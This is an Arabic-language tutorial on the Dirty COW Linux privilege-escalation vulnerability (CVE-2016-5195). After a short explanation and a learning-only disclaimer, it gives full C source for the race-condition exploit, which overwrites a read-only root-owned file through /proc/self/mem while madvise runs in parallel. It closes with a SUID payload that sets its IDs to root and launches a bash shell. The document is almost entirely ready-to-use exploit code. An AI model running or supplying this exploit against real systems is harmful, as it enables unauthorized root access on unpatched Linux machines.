
تنفيذ تعليمي لاستغلال تصعيد الامتيازات Dirty COW (CVE-2016-5195)، بما في ذلك حمولة حالة السباق وتصعيد صلاحيات الجذر عبر SUID لأنظمة لينكس.
سجل لأغراض التعلم فقط، ويُحظر استخدامه لأغراض غير قانونية
يعتمد مبدأ هذه الثغرة على الكتابة المتزامنة للصفحات المتسخة، مما يؤدي إلى تغيير محتوى ملف كان للقراءة فقط
إذا كان الملف المعدَّل مملوكًا لـroot ويمتلك صلاحية SUID، فيمكن استغلاله لرفع الصلاحيات
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// يُستخدم لتخزين محتوى الحمولة (Payload) المقروء من الملف وحجمها
char *payload_buf;
size_t payload_size;
// الخيط B: يستدعي madvise باستمرار لإخبار النواة بتجاهل صفحة الذاكرة هذه
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] انتهى خيط madvise\n");
return NULL;
}
// الخيط A: يكتب البيانات باستمرار إلى منطقة التعيين للقراءة فقط عبر /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// كتابة مخزن الحمولة في الذاكرة
c += write(f, payload_buf, payload_size);
}
printf("[-] انتهى خيط /proc/self/mem\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("الاستخدام: %s <الملف الهدف للقراءة فقط> <ملف إدخال الحمولة>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// فتح وقراءة محتوى ملف الحمولة إلى الذاكرة
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("فشل فتح ملف الحمولة");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] ملف الحمولة فارغ\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("فشل قراءة ملف الحمولة");
return 1;
}
close(pf);
printf("[*] تم تحميل ملف الحمولة بنجاح: %s (الحجم: %zu بايت)\n", payload_file, payload_size);
// تعيين الملف الهدف
f = open(name, O_RDONLY);
if (f < 0) {
perror("فشل فتح الملف الهدف");
return 1;
}
fstat(f, &st);
// منع أن يكون طول الحمولة أكبر من طول الملف الهدف
if (payload_size > st.st_size) {
printf("[!] تحذير: حجم الحمولة (%zu) أكبر من حجم الملف الهدف (%zu).\n", payload_size, st.st_size);
printf("[!] وفقًا لخاصية الكتابة فوق الموضع في Dirty COW، سيتم اقتطاع الجزء الذي يتجاوز حجم الملف الهدف وإهماله بواسطة نظام الملفات!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] عنوان تعيين الملف الهدف: %p\n", map);
// بدء سباق الحالة (Race Condition)
pthread_t pth1, pth2;
printf("[*] بدء سباق الحالة (Race Condition)...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] انتهى السباق، يرجى التحقق من محتوى %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// استعادة هوية root
setuid(0);
setgid(0);
// فتح قشرة bash بصلاحيات root
execl("/bin/bash", "bash", NULL);
return 0;
}